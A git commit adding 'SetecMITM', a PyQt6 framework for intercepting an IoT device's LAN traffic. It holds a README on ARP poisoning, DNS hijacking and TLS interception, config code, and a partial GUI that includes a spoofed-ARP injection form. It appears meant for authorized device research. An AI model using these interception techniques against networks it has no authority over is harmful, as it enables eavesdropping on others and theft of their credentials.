Initial commit — SetecMITM generic IoT MITM framework

Templated from cam-mitm. The camera-specific code (UBox cloud client,
CVE verifiers, OAM HMAC signing, fuzzer wordlists) is removed; what's
left is the generic core: ARP spoof, DNS spoof, HTTP/HTTPS interception
with peek-before-wrap, raw sniffer with conntrack-based original-dst
lookup, protocol fingerprinting, intruder detection, packet injection,
log rotation, PyQt6 GUI on top of a service Controller.

All 'camera' references renamed to 'target' throughout. Configuration
moved into ~/.config/setec-mitm/config.json with the Settings tab as
the primary editor. Plugin system at targets/<name>/plugin.py for
vendor-specific code.

See README.md for full setup, plugin authoring, and troubleshooting.

Co-authored by Setec Labs.
This commit is contained in:
sssnake
2026-04-09 08:38:59 -07:00
commit 20e7eb343d
22 changed files with 2377 additions and 0 deletions

25
.gitignore vendored Normal file
View File

@@ -0,0 +1,25 @@
# Python
__pycache__/
*.py[cod]
*.pyo
*.egg-info/
.venv/
venv/
# Logs and captures (can contain real PII — never commit)
setec_mitm_logs/
*.pcap
*.log
*.bin
fuzz_results_*.json
# Local config (may contain credentials)
config.json
~/.config/setec-mitm/
# OS / editor
.DS_Store
*.swp
*~
.idea/
.vscode/

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2026 Setec Labs
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in
all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
THE SOFTWARE.

336
README.md Normal file
View File

@@ -0,0 +1,336 @@
# SetecMITM
**Generic LAN-side MITM framework for any IoT or cloud-connected device.**
A drop-in toolkit for ARP spoofing, DNS hijacking, HTTP/HTTPS interception with auto-generated certs, raw packet sniffing with original-destination lookup and protocol fingerprinting, UDP capture, intruder detection, and packet injection — packaged with a PyQt6 GUI on top of a service supervisor that lets you toggle each component independently.
Built for authorized security research on hardware you own. The framework is target-agnostic; vendor-specific code (cloud API clients, fuzz wordlists, CVE verifiers, custom protocol decoders) lives in `targets/<name>/` plugins, so you can re-aim the same toolkit at any device without forking the core.
> This is the generic version. The companion repository **[cam-mitm](https://repo.seteclabs.io/SetecLabs/cam-mitm)** is the specialised camera-research case study that produced [camhak.seteclabs.io](https://camhak.seteclabs.io) — a 20-finding teardown of a UBIA-rebrand IP camera. Both share the same core; cam-mitm just bundles the camera-specific plugin.
---
## Table of Contents
1. [What it does](#what-it-does)
2. [Architecture](#architecture)
3. [Requirements](#requirements)
4. [Install](#install)
5. [Quick start](#quick-start)
6. [Configuration](#configuration)
7. [The GUI](#the-gui)
8. [Services](#services)
9. [Writing a target plugin](#writing-a-target-plugin)
10. [Headless / curses mode](#headless--curses-mode)
11. [REST API](#rest-api)
12. [Logs and captures](#logs-and-captures)
13. [Troubleshooting](#troubleshooting)
14. [Legal](#legal)
15. [License](#license)
---
## What it does
SetecMITM positions itself as the gateway for one specific device on your LAN, intercepts everything that device sends, and lets you observe / log / fingerprint / replay / mutate the traffic. Specifically:
- **ARP poisoning** — tells the target that *you* are the gateway, with auto-cleanup on exit so you don't strand anything when you're done.
- **Selective DNS spoof** — answers DNS queries from the target with your IP. Spoof everything, or whitelist a few domains.
- **HTTP/HTTPS MITM** — listens on :80 and :443, accepts the redirected traffic, peeks at the first bytes before wrapping in TLS so non-TLS traffic on :443 doesn't get lost. Auto-generates a cert with the right SAN list (regenerable via `regen_cert.sh`).
- **Raw packet sniffer** — sees every packet on the interface, looks up the *original* destination via `conntrack` (so you know what the target was actually trying to reach before iptables redirected it), and labels each packet with a protocol guess from the first 6 bytes.
- **UDP listeners** — bind to arbitrary UDP ports to catch P2P / push traffic. Configurable per target.
- **Intruder detection** — flags ARP-spoof attempts against your target, unknown LAN hosts contacting it, and outbound destinations not on your "expected cloud" whitelist. Useful for catching a third party already on the device.
- **Packet injection** — UDP, ARP, DNS. Used for crafting tests and simulating traffic.
- **Plugin system** — drop a `targets/<name>/plugin.py` to add vendor-specific endpoints, DNS hosts, UDP ports, and CVE verifiers.
---
## Architecture
```
┌─────────────────────────────────────────────────────────┐
│ PyQt6 GUI (gui.py) │ curses TUI (mitm.py) │
└──────────┬──────────────────┴──────────┬────────────────┘
│ │
▼ ▼
┌─────────────────────────────────────┐
│ Controller │
│ (per-service start/stop, iptables) │
└──┬───────────────────────────────┬──┘
│ │
▼ ▼
┌───────────────┐ ┌──────────────────┐
│ services/ │ │ targets/<name>/ │
│ - arp_spoof │ │ - plugin.py │
│ - dns_spoof │ │ (optional) │
│ - http_server│ └──────────────────┘
│ - udp_listen │
│ - sniffer │ ┌──────────────────┐
│ - intruder_w │ │ utils/ │
└───────────────┘ │ - log (1GB rot) │
│ - proto (fp) │
└──────────────────┘
```
- **Controller** is the only thing that touches iptables. It supervises a fixed set of services (arp, dns, http, https, sniffer, intruder) plus any number of UDP listeners. Each service runs in its own thread and is independently start/stoppable.
- **Services** are dumb threads. They read config, do their job, and write to the shared log buffer.
- **Targets** are optional plugins. If `target_plugin = "foo"` is set in the config, the Controller imports `targets/foo/plugin.py` at startup and gives the plugin an opportunity to register endpoints, DNS rules, UDP ports, and protocol detectors.
- **GUI** is a thin layer over the Controller. The same Controller works headless (`mitm.py`) for unattended deployments.
---
## Requirements
- Linux. Tested on Ubuntu 22.04 / 24.04 ARM64 and x86_64.
- Python 3.10+ (the system Python — `/usr/bin/python3` on Debian-derivatives).
- PyQt6 (for the GUI). On Debian/Ubuntu: `sudo apt install python3-pyqt6`.
- Standard userland: `iptables`, `openssl`, `conntrack` (recommended for original-destination lookup), `arp-scan` (optional).
- Root access. The framework binds raw sockets and modifies the firewall — there is no way around `sudo`.
No external Python packages required beyond PyQt6 — the rest is standard library.
---
## Install
```bash
git clone https://repo.seteclabs.io/SetecLabs/setec-mitm
cd setec-mitm
sudo apt install python3-pyqt6 conntrack openssl iptables
```
That's it. There is nothing to compile and nothing to `pip install`.
---
## Quick start
```bash
cd /path/to/setec-mitm
sudo /usr/bin/python3 gui.py
```
Then in the GUI:
1. **Open the Settings tab.**
2. Fill in the target's IP, the target's MAC, the IP of *this* box, the gateway IP, and the network interface name. Save Config.
3. **Open the Dashboard.**
4. Click **▶ START ALL** — or click each service row individually to bring them up one at a time.
5. **Switch to Live Log** to watch traffic stream in real time.
6. **Power-cycle the target** so its boot-time traffic gets captured.
Stop everything with **⏹ STOP ALL**, which also restores ARP and removes the iptables rules.
---
## Configuration
Config lives at `~/.config/setec-mitm/config.json`. The Settings tab in the GUI is the easiest way to edit it; the file is plain JSON if you'd rather use an editor.
| Key | Default | Notes |
|---|---|---|
| `target_ip` | (empty) | **REQUIRED.** IP of the device under test. |
| `target_mac` | (empty) | **REQUIRED.** MAC of the device under test. |
| `our_ip` | (empty) | **REQUIRED.** IP of THIS box. The MITM host. |
| `router_ip` | (empty) | **REQUIRED.** Gateway IP for the LAN. |
| `iface` | (empty) | **REQUIRED.** Network interface name (e.g. `eth0`, `wlan0`, `enP4p65s0`). |
| `log_dir` | `~/setec_mitm_logs` | Where capture files and the rotating log live. |
| `log_max_bytes` | `1073741824` | 1 GiB. Log file rotates above this size. |
| `auto_arp` | `true` | Start ARP service when "START ALL" is hit. |
| `auto_dns` | `true` | Same, for DNS spoof. |
| `auto_http` | `true` | Same, for HTTP. |
| `auto_https` | `true` | Same, for HTTPS. |
| `auto_sniffer` | `true` | Same, for sniffer. |
| `auto_intruder` | `true` | Same, for intruder watch. |
| `auto_udp_ports` | `[]` | List of UDP ports to listen on (e.g. `[10240, 8000]`). |
| `dns_spoof_only` | `[]` | If non-empty, only spoof these hostnames. Empty = spoof all. |
| `intruder_known_nets` | `[]` | CIDRs the target is *expected* to talk to. Anything outside flagged. |
| `rest_port` | `9090` | REST API port for external tool integration. |
| `target_plugin` | `""` | Plugin name under `targets/`. Optional. |
When run with `sudo`, paths starting with `~` resolve to `/root` because the env's `HOME` is the root user's. Use absolute paths in the config if you want files to land in your normal user's home.
---
## The GUI
Six tabs:
### Dashboard
Big START/STOP buttons. The "Services" group has a clickable button per service — click any one to toggle it independently. The "Protocols Seen" panel shows live counts of every protocol the sniffer has fingerprinted (TLS, HTTP, RTSP, IOTC, STUN, DNS, NTP, etc.). The "Target" panel shows the four IPs and the MAC.
### Live Log
Color-coded scrolling log of every event from every service. Substring filter (live). Toggleable Autoscroll — uncheck it to read history while traffic continues to append silently below.
### Intruders
Table of every suspicious event the intruder watcher has flagged. Three kinds:
- **ARP_SPOOF** — Someone other than the real target is sending ARP replies claiming to be the target's IP. Either you're being attacked, or another tool is in the way, or you ARP-spoofed yourself.
- **LAN_PEER** — A LAN host that isn't you, the gateway, or the target is exchanging traffic with the target. Worth investigating.
- **UNKNOWN_DST** — The target reached out to an internet host not in your `intruder_known_nets` whitelist. Useful for catching the device phoning home to a new C2 / new vendor cloud.
### Inject
Forms for crafting and sending raw UDP, ARP, and DNS packets. UDP takes a hex payload. ARP_REPLY takes a spoofed source IP. DNS_QUERY takes a domain name.
### Settings
Every config key, in a form. Save Config to persist. Reload From Disk to discard unsaved changes.
### Help
Embedded short version of this README.
---
## Services
| Service | What it does | Notes |
|---|---|---|
| **arp** | ARP cache poisoning of the target so the target thinks we are the gateway. Auto-cleanup on stop. | Required for any other service to actually intercept traffic. |
| **dns** | Listens on :53/udp. Answers DNS queries from the target with our IP (or only specific hosts if `dns_spoof_only` is set). | Catches the cloud lookups before they leave the LAN. |
| **http** | Listens on :80/tcp. Logs request line + headers + body. | iptables NAT redirect from the target's traffic to us. |
| **https** | Listens on :443/tcp. **Peeks at first bytes before wrapping TLS** — so non-TLS traffic on :443 doesn't get lost. | Uses `~/setec_mitm_logs/mitm_cert.pem` and `mitm_key.pem`. Regenerate with `regen_cert.sh` if you need a different SAN list. |
| **udp_listen** | Listens on configurable UDP ports. Logs every packet with hex dump and basic magic-byte detection. | List the ports in `auto_udp_ports`. |
| **sniffer** | Raw socket sniffer on the configured interface. For each packet sent by the target, looks up the *pre-NAT* original destination via `conntrack -L --src ... --sport ... -p tcp/udp`, fingerprints the protocol from the first 6 bytes of the payload, and logs both. | Requires `conntrack` (Debian: `apt install conntrack`). Gracefully degrades to "orig=?" if missing. |
| **intruder_watch** | Same raw socket as the sniffer. Detects ARP_SPOOF / LAN_PEER / UNKNOWN_DST events as defined above. | The whitelist for "expected cloud" comes from `intruder_known_nets` in your config plus the plugin's `KNOWN_CLOUD_NETS`. |
---
## Writing a target plugin
Plugins let you bundle vendor-specific knowledge without forking the core.
The minimal plugin is a single file at `targets/<your_name>/plugin.py` containing a `Plugin` class. Look at `targets/example/plugin.py` for the full template. The fields you'll likely set:
```python
class Plugin:
NAME = "myvendor"
DESCRIPTION = "MyVendor IP camera (rebrand of XYZ)"
KNOWN_CLOUD_NETS = [
("203.0.113.0", 24), # vendor's API
("198.51.100.0", 23), # P2P relay
]
DNS_SPOOF_HOSTS = [
"api.myvendor.com",
"p2p.myvendor.com",
]
UDP_PORTS = [10240, 8000]
KNOWN_API_ENDPOINTS = [
"/api/v1/login",
"/api/v1/devices",
"/api/v1/firmware/check",
]
def __init__(self, cfg):
self.cfg = cfg
def on_start(self): pass
def on_stop(self): pass
def custom_http_handler(self, request): return None
def detect_protocol(self, payload_first_bytes): return None
```
Then in the GUI Settings tab set `target_plugin = "myvendor"` and restart. The Controller will import it and the plugin's known cloud nets and DNS hosts will be added to the framework's defaults.
For richer plugins (vendor cloud client, CVE verifiers, fuzzer wordlists), add modules alongside `plugin.py`:
```
targets/myvendor/
├── __init__.py
├── plugin.py # required
├── client.py # optional — wraps the vendor cloud API
├── cve_checks.py # optional — original PoC verifiers
├── fuzzer_endpoints.py # optional — KNOWN_ENDPOINTS list for the fuzzer
└── README.md # what's this device, what works, what doesn't
```
The cam-mitm repo is the reference example: it has `targets/javiscam_2604/` with `client.py` (UBox cloud + OAM HMAC signing), `cve_checks.py` (CVE-2025-12636, CVE-2021-28372, CVE-2023-6322 chain), `firmware_fetch.py`, and `ota_bucket_probe.py`. Worth reading.
---
## Headless / curses mode
If you don't want the PyQt6 GUI:
```bash
sudo /usr/bin/python3 mitm.py
```
This runs the Controller directly, starts every service that has `auto_*` set to `true`, and blocks until SIGINT/SIGTERM. Useful for unattended deployments.
A full curses TUI is also available in the cam-mitm repo (the camera-specific fork). Drop `mitm.py` from there into this directory if you want command-line interactive control.
---
## REST API
The Controller exposes a small REST API on `127.0.0.1:9090` (configurable via `rest_port`). Endpoints:
| Method | Path | Description |
|---|---|---|
| GET | `/status` | Service status, flags, config snapshot |
| GET | `/logs?count=N` | Recent log entries |
| GET | `/config` | Current configuration |
| POST | `/start` | Start all services |
| POST | `/stop` | Stop all services |
| POST | `/config` | Update config: `{"key": "value"}` |
| POST | `/inject` | Send packet: `{"type": "udp", "dst_ip": "...", ...}` |
Useful for AI-assisted automated testing or integration with other tools. Note: the REST API binds to `127.0.0.1` only — never expose it to a network you don't control.
---
## Logs and captures
Default log directory: `~/setec_mitm_logs/` (or `/root/setec_mitm_logs/` when run via `sudo` — set `log_dir` to an absolute path if you want it elsewhere).
| File | What |
|---|---|
| `setec_mitm.log` | Main log file. Rotates at 1 GiB to `setec_mitm.log.YYYYMMDD_HHMMSS`. |
| `mitm_cert.pem` / `mitm_key.pem` | Auto-generated TLS cert/key for HTTPS interception. Regen with `regen_cert.sh`. |
| `raw_443_<ip>_<ts>.bin` | Raw bytes captured when non-TLS traffic hit the HTTPS listener. |
| `raw_tls_fail_<ip>_<ts>.bin` | First-bytes capture of any TLS connection that failed handshake (e.g. cert pinning). |
| `sniff_udp<port>_<sport>_<ts>.bin` | UDP payloads captured by the sniffer. |
| `udp<port>_<addr>_<sport>_<ts>.bin` | UDP listener captures. |
---
## Troubleshooting
**"target_ip and our_ip must be set"** — Open the Settings tab and fill in the four required network fields. Save. Try START ALL again.
**HTTPS shows `SSL fail` / `wrong version number`** — That's the framework correctly detecting non-TLS traffic on :443. The first 8 bytes are dumped in the log; check what protocol the target is actually speaking. The HTTPS listener already peeks before wrapping, so this shouldn't crash anything — but if you keep getting it, the bytes file at `raw_443_*.bin` will tell you what the device is doing.
**Camera is unreachable after starting MITM** — Either you misconfigured `our_ip` (you set it to a different host on the LAN) or `router_ip` (so the target's traffic is being routed to a dead end). Stop everything, fix the config, restart. ARP poison is auto-restored on stop.
**No traffic in the sniffer at all** — Verify ARP is actually working: `arp -an | grep <target_ip>` should show *your* MAC, not the router's. If it shows the router, the ARP service isn't running, or `iface` is wrong.
**conntrack not installed** — Sniffer logs will show `orig=?` instead of the pre-NAT destination. Not fatal, but install it: `sudo apt install conntrack`.
**`fuser: not found`** — Install psmisc: `sudo apt install psmisc`. The framework uses `fuser -k` to free a stuck listener port.
**Custom Python build doesn't have curses or PyQt6** — The framework requires the system Python. Always launch with `/usr/bin/python3 gui.py`, never with a `/usr/local/bin/python3` from a manual build that's missing modules.
---
## Legal
This tool is intended for authorized security testing on devices you own. Unauthorized interception of network traffic is illegal in most jurisdictions. Always obtain proper authorization before testing.
The authors take no responsibility for misuse. Don't be an idiot.
---
## License
MIT. See `LICENSE`. Originally developed by Setec Labs as part of the [Camhak](https://camhak.seteclabs.io) research project.
---
## See also
- **[cam-mitm](https://repo.seteclabs.io/SetecLabs/cam-mitm)** — the camera-specific fork with the full Javiscam/UBox plugin, the CVE verifiers, the OAM HMAC client, and the fuzzer with a 146-endpoint wordlist
- **[camhak.seteclabs.io](https://camhak.seteclabs.io)** — the published research report (20 findings, 3 CVEs)
- **[seteclabs.io](https://seteclabs.io)** — the lab

97
config.py Normal file
View File

@@ -0,0 +1,97 @@
"""SetecMITM configuration management"""
import json
import os
DEFAULT_CONFIG = {
# ── Network targets ─────────────────────────────────────────
"target_ip": "", # IP of the device under test
"target_mac": "", # MAC of the device under test
"our_ip": "", # IP of THIS box (the MITM host)
"router_ip": "", # gateway IP
"iface": "", # network interface name (e.g. eth0)
# ── Logging / output ────────────────────────────────────────
"log_dir": os.path.expanduser("~/setec_mitm_logs"),
"log_max_bytes": 1024 * 1024 * 1024, # 1 GiB rotation
# ── Services to auto-start (each can be toggled in the GUI) ─
"auto_arp": True,
"auto_dns": True,
"auto_http": True,
"auto_https": True,
"auto_sniffer": True,
"auto_intruder": True,
"auto_udp_ports": [], # list of UDP ports to listen on
# ── DNS spoofing ────────────────────────────────────────────
# If empty, DNS spoof catches every query and points it at us.
# Otherwise only entries here are spoofed (others passed through).
"dns_spoof_only": [],
# ── Intruder watch ──────────────────────────────────────────
# CIDRs the target is *expected* to talk to. Anything outside
# these gets flagged in the Intruders tab.
"intruder_known_nets": [],
# ── REST API ────────────────────────────────────────────────
"rest_port": 9090,
# ── Plugin loader ───────────────────────────────────────────
# Name of a target plugin under targets/<name>/. The plugin can
# provide a custom client, fuzzer endpoint list, CVE checks, and
# protocol fingerprints. See targets/example/ for the layout.
"target_plugin": "",
}
CONFIG_FILE = os.path.expanduser("~/.config/setec-mitm/config.json")
class Config:
def __init__(self):
self._data = dict(DEFAULT_CONFIG)
self.load()
def __getitem__(self, key):
return self._data[key]
def __setitem__(self, key, value):
self._data[key] = value
def get(self, key, default=None):
return self._data.get(key, default)
def keys(self):
return self._data.keys()
def items(self):
return self._data.items()
def update(self, d):
self._data.update(d)
def load(self):
if os.path.exists(CONFIG_FILE):
try:
with open(CONFIG_FILE) as f:
self._data.update(json.load(f))
except Exception:
pass
def save(self):
os.makedirs(os.path.dirname(CONFIG_FILE), exist_ok=True)
with open(CONFIG_FILE, "w") as f:
json.dump(self._data, f, indent=2)
def to_dict(self):
return dict(self._data)
def safe_dict(self):
"""Config dict with sensitive values masked."""
d = dict(self._data)
for k in list(d.keys()):
if "password" in k.lower() or "secret" in k.lower() or "token" in k.lower():
v = d[k]
if isinstance(v, str) and v:
d[k] = v[:6] + ""
return d

480
gui.py Executable file
View File

@@ -0,0 +1,480 @@
#!/usr/bin/python3
"""
SetecMITM — generic IoT / cloud-device MITM framework (PyQt6 GUI).
Run: sudo /usr/bin/python3 gui.py
"""
import os
import sys
import json
import threading
import signal
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
from PyQt6.QtCore import Qt, QTimer, pyqtSignal, QObject
from PyQt6.QtGui import QFont, QTextCursor, QColor
from PyQt6.QtWidgets import (
QApplication, QMainWindow, QWidget, QTabWidget, QVBoxLayout, QHBoxLayout,
QPushButton, QPlainTextEdit, QLabel, QLineEdit, QTableWidget,
QTableWidgetItem, QHeaderView, QFormLayout, QGroupBox,
QStatusBar, QMessageBox, QTextEdit, QAbstractItemView, QCheckBox,
)
from config import Config, CONFIG_FILE
from utils.log import (
log, log_lines, init_logfile, close_logfile, lock,
C_NONE, C_ERROR, C_SUCCESS, C_INFO, C_TRAFFIC, C_IMPORTANT,
)
from utils import proto as proto_id
from services import intruder_watch
from inject import packet
from mitm import Controller
QT_COLORS = {
C_NONE: QColor("#cccccc"),
C_ERROR: QColor("#ff5555"),
C_SUCCESS: QColor("#50fa7b"),
C_INFO: QColor("#8be9fd"),
C_TRAFFIC: QColor("#f1fa8c"),
C_IMPORTANT: QColor("#ff79c6"),
}
class LogBridge(QObject):
new_lines = pyqtSignal(list)
class MainWindow(QMainWindow):
def __init__(self, ctrl):
super().__init__()
self.ctrl = ctrl
self.setWindowTitle("SetecMITM — Generic IoT MITM")
self.resize(1400, 900)
self._apply_dark_theme()
self.bridge = LogBridge()
self.bridge.new_lines.connect(self._append_log)
self._last_log_idx = 0
self.tabs = QTabWidget()
self.tabs.addTab(self._build_dashboard(), "Dashboard")
self.tabs.addTab(self._build_log_tab(), "Live Log")
self.tabs.addTab(self._build_intruder_tab(), "Intruders")
self.tabs.addTab(self._build_inject_tab(), "Inject")
self.tabs.addTab(self._build_settings_tab(), "Settings")
self.tabs.addTab(self._build_help_tab(), "Help")
self.setCentralWidget(self.tabs)
self.status = QStatusBar()
self.setStatusBar(self.status)
self.refresh_timer = QTimer(self)
self.refresh_timer.timeout.connect(self._tick)
self.refresh_timer.start(300)
log("SetecMITM GUI ready", C_SUCCESS)
if not self.ctrl.cfg["target_ip"]:
log("⚠ target_ip is not set — open the Settings tab first", C_ERROR)
def _apply_dark_theme(self):
self.setStyleSheet("""
QWidget { background: #1e1f29; color: #f8f8f2; font-family: 'JetBrains Mono','Fira Code',monospace; font-size: 11pt; }
QTabWidget::pane { border: 1px solid #44475a; }
QTabBar::tab { background: #282a36; padding: 8px 16px; border: 1px solid #44475a; }
QTabBar::tab:selected { background: #44475a; color: #50fa7b; }
QPushButton { background: #44475a; border: 1px solid #6272a4; padding: 6px 14px; border-radius: 3px; }
QPushButton:hover { background: #6272a4; }
QPushButton:pressed { background: #50fa7b; color: #282a36; }
QPlainTextEdit, QTextEdit, QLineEdit { background: #282a36; border: 1px solid #44475a; selection-background-color: #44475a; }
QHeaderView::section { background: #44475a; color: #f8f8f2; padding: 4px; border: none; }
QTableWidget { background: #282a36; gridline-color: #44475a; }
QTableWidget::item:selected { background: #44475a; }
QGroupBox { border: 1px solid #44475a; margin-top: 10px; padding-top: 10px; }
QGroupBox::title { subcontrol-origin: margin; left: 10px; padding: 0 5px; color: #8be9fd; }
QStatusBar { background: #282a36; color: #50fa7b; }
""")
# ── Dashboard ─────────────────────────────────────────
def _build_dashboard(self):
w = QWidget()
layout = QVBoxLayout(w)
ctrl_box = QGroupBox("MITM Control")
cl = QHBoxLayout(ctrl_box)
for label, fn in [
("▶ START ALL", lambda: threading.Thread(target=self.ctrl.start_services, daemon=True).start()),
("⏹ STOP ALL", lambda: threading.Thread(target=self.ctrl.stop_services, daemon=True).start()),
("Clear Log", self._clear_log),
]:
b = QPushButton(label); b.clicked.connect(fn); cl.addWidget(b)
cl.addStretch()
layout.addWidget(ctrl_box)
self.state_label = QLabel("MITM: STOPPED")
self.state_label.setStyleSheet("color:#ff5555; font-size:18pt; font-weight:bold; padding:10px;")
layout.addWidget(self.state_label)
flags_box = QGroupBox("Services (click to toggle)")
fl = QVBoxLayout(flags_box)
self.svc_buttons = {}
for name in ("arp", "dns", "http", "https", "sniffer", "intruder"):
btn = QPushButton(f"{name}: off")
btn.setStyleSheet("text-align:left; color:#ff5555; padding:6px; background:#282a36;")
btn.clicked.connect(lambda _, n=name: threading.Thread(
target=self.ctrl.toggle_service, args=(n,), daemon=True).start())
self.svc_buttons[name] = btn
fl.addWidget(btn)
layout.addWidget(flags_box)
proto_box = QGroupBox("Protocols Seen")
pl = QVBoxLayout(proto_box)
self.proto_label = QLabel("(none yet)")
self.proto_label.setStyleSheet("color:#f1fa8c; font-family:monospace;")
pl.addWidget(self.proto_label)
layout.addWidget(proto_box)
info_box = QGroupBox("Target")
il = QFormLayout(info_box)
self.lbl_tgt = QLabel(self.ctrl.cfg["target_ip"] or "(unset)")
self.lbl_us = QLabel(self.ctrl.cfg["our_ip"] or "(unset)")
self.lbl_rtr = QLabel(self.ctrl.cfg["router_ip"] or "(unset)")
self.lbl_mac = QLabel(self.ctrl.cfg["target_mac"] or "(unset)")
for lbl in (self.lbl_tgt, self.lbl_us, self.lbl_rtr, self.lbl_mac):
lbl.setStyleSheet("color:#f1fa8c; font-weight:bold;")
il.addRow("Target IP:", self.lbl_tgt)
il.addRow("Our IP:", self.lbl_us)
il.addRow("Router IP:", self.lbl_rtr)
il.addRow("Target MAC:", self.lbl_mac)
layout.addWidget(info_box)
layout.addStretch()
return w
# ── Live Log ──────────────────────────────────────────
def _build_log_tab(self):
w = QWidget()
layout = QVBoxLayout(w)
bar = QHBoxLayout()
bar.addWidget(QLabel("Filter:"))
self.log_filter = QLineEdit()
self.log_filter.setPlaceholderText("substring filter (live)…")
bar.addWidget(self.log_filter)
self.autoscroll_cb = QCheckBox("Autoscroll")
self.autoscroll_cb.setChecked(True)
bar.addWidget(self.autoscroll_cb)
b = QPushButton("Clear")
b.clicked.connect(self._clear_log)
bar.addWidget(b)
layout.addLayout(bar)
self.log_view = QTextEdit()
self.log_view.setReadOnly(True)
self.log_view.setLineWrapMode(QTextEdit.LineWrapMode.NoWrap)
f = QFont("JetBrains Mono", 10)
f.setStyleHint(QFont.StyleHint.Monospace)
self.log_view.setFont(f)
layout.addWidget(self.log_view)
return w
# ── Intruders ─────────────────────────────────────────
def _build_intruder_tab(self):
w = QWidget()
layout = QVBoxLayout(w)
head = QHBoxLayout()
self.intruder_count = QLabel("0 events")
self.intruder_count.setStyleSheet("color:#ff79c6; font-size:14pt; font-weight:bold;")
head.addWidget(self.intruder_count)
head.addStretch()
b = QPushButton("Clear")
b.clicked.connect(lambda: (intruder_watch.clear_intruders(), self._refresh_intruders()))
head.addWidget(b)
layout.addLayout(head)
self.intruder_table = QTableWidget(0, 5)
self.intruder_table.setHorizontalHeaderLabels(["Time", "Kind", "Source", "Destination", "Detail"])
self.intruder_table.horizontalHeader().setSectionResizeMode(QHeaderView.ResizeMode.Stretch)
self.intruder_table.setEditTriggers(QAbstractItemView.EditTrigger.NoEditTriggers)
self.intruder_table.setSelectionBehavior(QAbstractItemView.SelectionBehavior.SelectRows)
layout.addWidget(self.intruder_table)
return w
# ── Inject ────────────────────────────────────────────
def _build_inject_tab(self):
w = QWidget()
layout = QVBoxLayout(w)
udp_box = QGroupBox("UDP Inject")
ul = QFormLayout(udp_box)
self.udp_ip = QLineEdit(self.ctrl.cfg["target_ip"])
self.udp_port = QLineEdit("0")
self.udp_payload = QLineEdit()
self.udp_payload.setPlaceholderText("hex payload, e.g. deadbeef")
ul.addRow("Dst IP:", self.udp_ip)
ul.addRow("Dst port:", self.udp_port)
ul.addRow("Payload:", self.udp_payload)
b = QPushButton("Send UDP")
b.clicked.connect(self._send_udp)
ul.addRow("", b)
layout.addWidget(udp_box)
arp_box = QGroupBox("ARP Reply")
al = QFormLayout(arp_box)
self.arp_src = QLineEdit(self.ctrl.cfg["router_ip"])
self.arp_dst = QLineEdit(self.ctrl.cfg["target_ip"])
al.addRow("Src IP (spoof):", self.arp_src)
al.addRow("Dst IP:", self.arp_dst)
b2 = QPushButton("Send ARP")
b2.clicked.connect(lambda: packet.inject(self.ctrl.cfg, {
"type": "arp_reply", "src_ip": self.arp_src.text(), "dst_ip": self.arp_dst.text()
}))
al.addRow("", b2)
layout.addWidget(arp_box)
dns_box = QGroupBox("DNS Query")
dl = QFormLayout(dns_box)
self.dns_dom = QLineEdit()
self.dns_dom.setPlaceholderText("example.com")
dl.addRow("Domain:", self.dns_dom)
b3 = QPushButton("Send DNS")
b3.clicked.connect(lambda: packet.inject(self.ctrl.cfg, {
"type": "dns_query", "domain": self.dns_dom.text()
}))
dl.addRow("", b3)
layout.addWidget(dns_box)
layout.addStretch()
return w
def _send_udp(self):
try:
packet.inject(self.ctrl.cfg, {
"type": "udp",
"dst_ip": self.udp_ip.text(),
"dst_port": int(self.udp_port.text()),
"payload": self.udp_payload.text(),
"payload_hex": True,
})
except Exception as e:
QMessageBox.warning(self, "Inject error", str(e))
# ── Settings ──────────────────────────────────────────
def _build_settings_tab(self):
w = QWidget()
outer = QVBoxLayout(w)
info = QLabel(
"Set the target's IP, the target's MAC, the IP of THIS box, the gateway, and the network interface.\n"
"Save Config to persist. Restart MITM after changing target_ip."
)
info.setStyleSheet("color:#8be9fd; padding:6px;")
outer.addWidget(info)
form = QFormLayout()
self.cfg_inputs = {}
for k, v in self.ctrl.cfg.items():
if k.startswith("_"):
continue
le = QLineEdit(json.dumps(v) if not isinstance(v, str) else v)
self.cfg_inputs[k] = le
form.addRow(k, le)
outer.addLayout(form)
bb = QHBoxLayout()
b1 = QPushButton("Save Config")
b1.clicked.connect(self._save_config)
bb.addWidget(b1)
b2 = QPushButton("Reload From Disk")
b2.clicked.connect(self._reload_config)
bb.addWidget(b2)
bb.addStretch()
path_lbl = QLabel(f"file: {CONFIG_FILE}")
path_lbl.setStyleSheet("color:#888; font-size:10pt;")
bb.addWidget(path_lbl)
outer.addLayout(bb)
return w
def _save_config(self):
for k, le in self.cfg_inputs.items():
old = self.ctrl.cfg[k]
v = le.text()
try:
if isinstance(old, bool):
v = v.lower() in ("true", "1", "yes")
elif isinstance(old, int):
v = int(v)
elif isinstance(old, float):
v = float(v)
elif isinstance(old, list):
v = json.loads(v)
except (ValueError, json.JSONDecodeError):
pass
self.ctrl.cfg[k] = v
self.ctrl.cfg.save()
log("config saved from GUI", C_SUCCESS)
def _reload_config(self):
self.ctrl.cfg.load()
for k, le in self.cfg_inputs.items():
v = self.ctrl.cfg[k]
le.setText(json.dumps(v) if not isinstance(v, str) else v)
log("config reloaded from disk", C_SUCCESS)
# ── Help ──────────────────────────────────────────────
def _build_help_tab(self):
w = QWidget()
layout = QVBoxLayout(w)
view = QTextEdit()
view.setReadOnly(True)
view.setHtml("""
<h2 style="color:#50fa7b">SetecMITM</h2>
<p>Generic LAN-side MITM framework for any IoT or cloud-connected device.
Built for authorized security research on hardware you own.</p>
<h3 style="color:#8be9fd">Quick start</h3>
<ol>
